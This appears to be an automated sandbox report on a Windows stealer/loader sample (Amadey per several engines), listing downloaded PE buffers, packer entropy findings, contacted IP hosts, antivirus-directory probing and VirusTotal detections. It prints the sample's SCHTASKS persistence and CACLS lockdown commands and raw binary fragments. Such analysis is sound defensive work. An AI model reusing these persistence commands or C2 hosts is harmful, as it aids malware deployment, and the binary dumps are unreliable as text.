InternetReadFile Sept. 2, 2023, 6:25 p.m.	buffer: MZÿÿ¸@èº´ Í!¸LÍ!This program cannot be run in DOS mode. $;v¥tötötöa&öktöa&öKtöa&ö töX²cöttötötöa&ö~töa&ö~töa&ö~töRichtöPEL7µcà Æà@<LÉxÐ¨vPè0È8@Ð.text4ÄÆ `.dataäþàÊ@À.rsrc¨vÐxè@@.relocü¥P¦`@BbÏ,ÏFÏöËÌÌ4ÌHÌfÌzÌÌ¨ÌºÌÊÌÞÌüÌÍ,Í>ÍPÍhÍxÍÍ¨ÍæËÈÍÚÍêÍÎÎ&Î2ÎFÎ`ÎvÎÎ¤Î¸Î&ÔÔÔÔË¦Ë´Ë¸ÍËðÓÏ´ÏÌÏâÏøÏÐÐ4ÐLÐdÐtÐÐÐ°ÐÎÐâÐôÐÑÑÑ.Ñ>ÑPÑ\ÑjÑxÑÑÑ¨Ñ´ÑÂÑÌÑâÑðÑüÑÒ"Ò<ÒTÒnÒÒÒ¨Ò¸ÒÎÒèÒúÒÓÓ"Ó8ÓJÓ`ÓpÓÓ¨Ó¸ÓÊÓÞÓÏüÎðÎÞÎÏg»B}»B»B[»B7@Ð¿@öApGAks@é@úmAÀ@ÍÓÐdG(9(-bad allocationÿÿÿÿP@@-B@w@´;@G@9@·n@C<@C@C@H<@ÓC@C@Ð9@p@C@string too longinvalid string position :@Ýw@w@Unknown exception4:@þw@w@:@&@csmà LC_TIMELC_NUMERICLC_MONETARYLC_CTYPELC_COLLATELC_ALL\@ç@P@XçB.AD@XçB3@8@XçBhA,@XçBA$@XçBRA !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~_.,._;==; ((((( H h(((( H H ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯ request_handle: 0x00cc000c	1	1
InternetReadFile Sept. 2, 2023, 6:25 p.m.	buffer: MZÿÿ¸@èº´ Í!¸LÍ!This program cannot be run in DOS mode. $;v¥tötötöa&öktöa&öKtöa&ö töX²cöttötötöa&ö~töa&ö~töa&ö~töRichtöPELéÂÜcà ú@A@0CG2Eý@x@¨v:DBè0È8@Ð.textø@ú@ `.dataäþAþ@@À.rsrc¨v@xA@@.relocü¥B¦C@B²A\|AAFA\AlAAA¶AÊAÜAøA AA.ALAbA\|AA A¸AÈAæAøA6AAA:AVAjAvAAA°AÆAÚAôAAvAfAPA$Aöÿ@AAäÿ@@AîAAA2AHAPAlAAA´AÄAÐAäAAA2ADAVAbAnA~AA A¬AºAÈAÖAêAøAAAA2A@ALA\ArAA¤A¾AÐAÞAøAAA8AJAVA`ArAAA°AÀAèAøAAA.AbALA@A.AÐA·ïÍïãï«ï7@Ð¿@öApGAks@é@úmAÀ@«ûîdC(9(-bad allocationÿÿÿÿT@@-B@w@¸;@G@9@·n@C<@C@C@L<@ÓC@C@Ô9@p@C@string too longinvalid string position$:@Ýw@w@Unknown exception8:@þw@w@:@&@csmà LC_TIMELC_NUMERICLC_MONETARYLC_CTYPELC_COLLATELC_ALL\@ç@P@X.AD@X3@8@XhA,@XA$@XRA !"#$%&'()+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~_.,._;==; ((((( H h(((( H H ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~ ¡¢£¤¥¦§¨©ª«¬®¯ request_handle: 0x00cc000c	1	1
InternetReadFile Sept. 2, 2023, 6:26 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEd§ÆÉ¼ð"0'Ì @ ` \ ì H.text'Ì Î `.rsrc\ Ð@@HXr¶û^$½i)nÆÕgI¡Ë~$sÃÁ{®Ô+Þxz:åîðêäÚfèµJ~¼+»Nep¢§Çkdðjóêð&Ýt0;¸#o_0&§8%¤VÔ^Ð)û_úZ ÁïágìGäàã0º{d((7eAüY¯ö>r:Uë¥s f³sEn"õJ"óÒ0>n¹½&Å³&ÇØAÓêu^T5>\£æ@W&ü?d»´ÓR"9rK"¡§qXßüºV»¾dÇá&»Za&ÁÈà¨Ö´°Ïî`{á<XZí7¥y{'ÚdWákôûeôï "þÕ&òkåîðêäÚfèµJ~åîðêäÚfèµJ~åîðêäÚfèµJ~åîðêäÚfèµJ~åîðêäÚfèµJ~æ!:!¹ºBfAÐ» Ló¶ÙkRFÖJðíSHtq`-øÛ©¶Âv[ _B÷ÏEY[ÑYÒfJ;þkm38®WYßÑÏ·7å¿ Á¥JHÑ0;l¬2ýu]ÿåîðêäÚfèµJ~åîðêäÚfèµJ~ë=Gw¹ÍÍÇÂYÐýðq§@fÈçÕ´Ã>Q5åîðêäÚfèµJ~åîðêäÚfèµJ~L~sþu{¯ßcÀD}ñZáí´ð5ÁØbmuÅYÛxMY1S¸ÎWóp²ãá~üðÝ4>=ÑrmÐ«U@UÚf8Üªe}»§ã+25@jJ=Ñhê+W2c?¶DZÇMÎÐªnÐ=äè4ÚÙ@óÏÒ?]C¹ÝÎæ²y»dzÄghñ¥úùûbAP¶ófÿïj¡ãÅò²9 Ìd¸[jûu¢jÝ Ê¿P×:à3ã»Ï=îÑØêÂ1/iòñ«n¥/þ\|ÚSxA2tÑ1aÄ'm?ê4°KNzA ÆÛ§æxBbY°µ´êÇå@fP×-¤mÎÊ á¯-0qÿ`ßaCëËSfäth¯MÇÓ$ËDÁMÜ¿¼Åi3JíXÏç°2W\ÐúV6?ð2ÓãèfÔ# b~n·dWúþùËËfhÎ1øö½ÌUùñ¹çÑDý7±@¡½¿æVãÏ8ÊmÑ/à:áO´àx%ù¾ÓNáJôohùìUósDíHN_±ÎºþFFÚ²ÜÈç>vv_öÍQDØÔúçò _vÌ^úSW½¬¾<KAêllÂ³¤·îäöÝ#³9ÀAµÎ%»xØ¼âÚkgaå§¯óáÙaÎj M- (Ä« @å Gfæ}mÇ (þeÅ¯aDãþiûW9¬¾Fg1ÜW¿½ÀFlCuf-w,ª~A^WùRT,eÝhv/ö³ÛIÎJ2ÂÊzY·ÊÔ¥:túyû3õ·tP©Ð³ Üì®=¾lAÆýøØ"uTcÂî1ÁHê q/öµÑÇFïZ½ 6>Ìç\ÂA_FcªlüÈv6K×Ìø3¨{,qwÁì,·GYGÏ ¾6hez£§¦1¸Ë°ÛÔ]L¿v,&BÐÄùÐÎçÓôv¿wR7Ã?ýËÒÌÎåÆâ>"7ÍZüÞªäGrð)ÄLdu$2sÔÖõm]c"«½½Ë«;/T))Ü:ðNKÛ{RèM<åSRõk À5üµí°OT6ÉÞ7#ÏåÞJKæÁb ã.@SeîL~go_^SÝ÷þÐ_BßõØ¢Rô¨\LfÈDVÂ}¥ßý ?Ndºajq¯jã.¸#BSw¦$[6# ¯cÛ²±P%5¿MnãÛ[Öà¸ÛúãðüÚÌI}.r3PÖ+ÕôØþb{ËÈñ lÎ¬(!Ò¸$lbÃ¦×/ÚÈd9]TtÅ5GîÇK-Üë\|wË4·¶ýáym à¶ <¼cÁò&ÁÓ^þæÝI7?PÕfª²ÛÜÆ$¬i<q_Ô,·½À_¤zóh0äsU¾KIÓ7\Á üòÐº§$ò^=^/2/¸¼Ï!¿ÛVeµ À÷¶µö$CdÚ¼ïÀÊ aú÷]Z¢×b í´yûÀüÿföVéö±´9«JÂþê°méÍS²j°jxÍ©mÐwÔiî£ó^lBfò67¥¶z =CaÂðh(y 'É¬6¯A´Zª_CÞ-uh[?Y+m=ýðUïyö-!â/E,¤K,q?PËÏ7CR½ÅËñ¦¸!¦:dYËïYàQÍµÅ³LÆ¨TÜmòyv:E¯¨oø!@÷!{ò©1ÿ²3³\Ô/¾Øõ~Àñ,,à"`\üï.©³¶&WÚl0Þ>Ñ -ßß¯BÐ,ÐVà²B[ìUCËiHÊýémÏÄ>·ÁDsm´órâ§i'ú~ñéëk ë-@I5ôl$T&û}#ìÙyJ¨íÔwá¯¥iµ¥ýwkÄõ,(¹A½6¦¾ %ó©¹b¯ËÔÈrä±çt;®J¿1Þ}o4iB'º s±~ñvÎ¼®½IÅ>\|ñHÉÊ¨DNÚò«M(ÿuþkê.[HºÚ>Vz²:Àë&ën?ùGå'wçwý¿6~Toê4n_d9ªØ;Ó£Ié¡>b[§ïÇ#ÏmÉ>üÂÎÓóÑH° ·U{ÊAòñÀóäÜë¹Ömfè»È2Ûô=pÝ;áÆÓÆõW\MYVBðßw+ÍY0qZY[ÉÕ~ËÀö%NÈDDÜî îwiì{¢ÝÃË¯¶¯ä¨«ØCÃÙ#²¸dw>EßÏD(gFäé I½¸0\õ7¢7æ9°úÔÎvþõ[3¨Ñ¶5OGRó+¤X«h ¿ì2¿d]ËÔ÷Ty5ô7(Ì¤ªuá:h·»ülì[ V~ò2Ö9ØÕXË÷@ZÉ^@è ¿w§u½§³ÆL[Òzþ½+È ?De{,OÓOÅO Æg=àx/%ÍVyæêX´Àè! !%Ê¾Õt¥c¯ö» ×Ó@ÀÔê<Å§FÈüB½4ª]æÅ8â§ÜÂav)ô^aØ×õa ² Ûfê?U.&¬X¾£\RÙ ¾/æÓo"6ôëC Æh:ó+rTÛ ÷gÝàN µ_µ«¨¯l¾G¥5p]¹Ê¥:(j©ÕÃDü(æxÔkÆî`nOðªûq»ÂF¢c¾ù2O ¢±}_8&0¤eô lfÔnGLBþ¤RµV!÷Áû²o\°mt M2´ÛZ)ÂxÇ«V¡2ÓQ·4¨ $¿/¢^ÞÍ ¶p³ÔÚJ07>\|6f7 1î]²W°¤?ÉTüÐÄ©êMo®yû ø'4x3EkHf ×aDxé^WkHQÃ3cLH5Hu¦Íú´%·p ½ÝE¤¶ÇyÞägÖ¬¦C$Çú6j>DGa¾ÅõI·³¡wà©\µÏ>ë½y_ 6¯TìÖ¯+æJ¡'pÑ%vË0{kÑòÅæ$úô-~Ô¹÷ø ¹º²w¨XÒô=!}m/\|fcÇåº)g(é·}°¸,Q¹Lµ\|Ã°sõ8Õ¡ ¶Ó Îèº$Ñ±5¢1Ç²[-©)Xfw¤Çü®Oó½>ÔQÖû½ÅòÉq£Æb¥ÚU ØHM49\O<L ¸vçVÑ`z<ûÑ¹ÎlªG}§AÉa°¿å ÂÀ£2ýá¼ øÜ¿ïeç[ùsSx0"Ww\|â°Ôa,íúÒÞcc¾sÓ(Ð ¯è;"y9ø¬H$'\|7¼s'ñVËªä.]¢¢Ø LXÑ; µË{£Ê¿±}ÑÙÊ#w!N¢ºñÄ'¦«oX`å¸Û[õäáFwðÆÉïD´´m@¯-esÔcºë5ÖÅøCj\åoæÜªæ\?äMr./ôiÜ>þ«Ü¢)+¡àhp ÇDRÜ3]¸FÆ¸ëR¬Ì^âükÚí`ë'Sã°îÓÊÖrk´øE¤k9 'ÖsD½:åX¯e}Ó·2¦ request_handle: 0x00cc000c	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00092200', u'virtual_address': u'0x00002000', u'entropy': 7.6509165214488, u'name': u'.rdata', u'virtual_size': u'0x00092073'}

entropy

7.65091652145

description

A section with a high entropy has been found

entropy

0.994893617021

description

Overall entropy of this PE file is high

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F

Communicates with host for which no DNS query was performed (2 events)

host	45.9.74.80
host	5.42.65.80

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Installs itself for autorun at Windows startup (2 events)

cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\207aa4515d\oneetx.exe" /F

Uses suspicious command line tools or Windows utilities (6 events)

cmdline	cmd /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\207aa4515d" /P "test22:N"&&CACLS "..\207aa4515d" /P "test22:R" /E&&Exit
cmdline	CACLS "oneetx.exe" /P "test22:R" /E
cmdline	CACLS "oneetx.exe" /P "test22:N"
cmdline	CACLS "..\207aa4515d" /P "test22:R" /E
cmdline	CACLS "..\207aa4515d" /P "test22:N"

File has been identified by 53 AntiVirus engines on VirusTotal as malicious (50 out of 53 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Stealer.12!c
DrWeb	Trojan.PWS.Stealer.35404
Cynet	Malicious (score: 100)
CAT-QuickHeal	TjnDroppr.Dapato.S28495190
McAfee	GenericRXTU-AS!58BC43389C3E
Malwarebytes	Trojan.Injector
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan ( 005a7a3c1 )
Alibaba	TrojanDropper:Win32/Dapato.1e314a44
K7GW	Trojan ( 005a7a3c1 )
Cybereason	malicious.89c3e7
Arcabit	Trojan.Razy.DE2571
BitDefenderTheta	Gen:NN.ZexaF.36662.KqW@aKmNgYbi
Cyren	W32/Lazy.U.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Win32/TrojanDropper.Agent.SRM
APEX	Malicious
Kaspersky	HEUR:Trojan-Spy.Win32.Stealer.gen
BitDefender	Gen:Variant.Razy.927089
MicroWorld-eScan	Gen:Variant.Razy.927089
Avast	Win32:Evo-gen [Trj]
Tencent	Win32.Trojan-Spy.Stealer.Mqil
Emsisoft	Gen:Variant.Razy.927089 (B)
F-Secure	Trojan.TR/Dropper.Gen
VIPRE	Gen:Variant.Razy.927089
TrendMicro	Trojan.Win32.PRIVATELOADER.YXDIBZ
McAfee-GW-Edition	BehavesLike.Win32.Generic.hc
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.58bc43389c3e720c
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Avira	TR/Dropper.Gen
Antiy-AVL	Trojan[Spy]/Win32.Stealer
Gridinsoft	Trojan.Win32.Amadey.bot
Microsoft	Trojan:Win32/Amadey.AMY!MTB
ZoneAlarm	HEUR:Trojan-Spy.Win32.Stealer.gen
GData	Win32.Trojan.PSE.102OIFV
Google	Detected
AhnLab-V3	Trojan/Win.Generic.R497632
VBA32	BScope.Trojan.Nitol
ALYac	Gen:Variant.Razy.927089
MAX	malware (ai score=80)
Cylance	unsafe
Panda	Trj/Genetic.gen
TrendMicro-HouseCall	Trojan.Win32.PRIVATELOADER.YXDIBZ
Rising	Backdoor.DcRat!8.129D9 (TFE:1:BNER4NzZWDL)
Ikarus	Trojan.Win32.Tnega
Fortinet	W32/Tiny.NFR!tr

ummaa.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All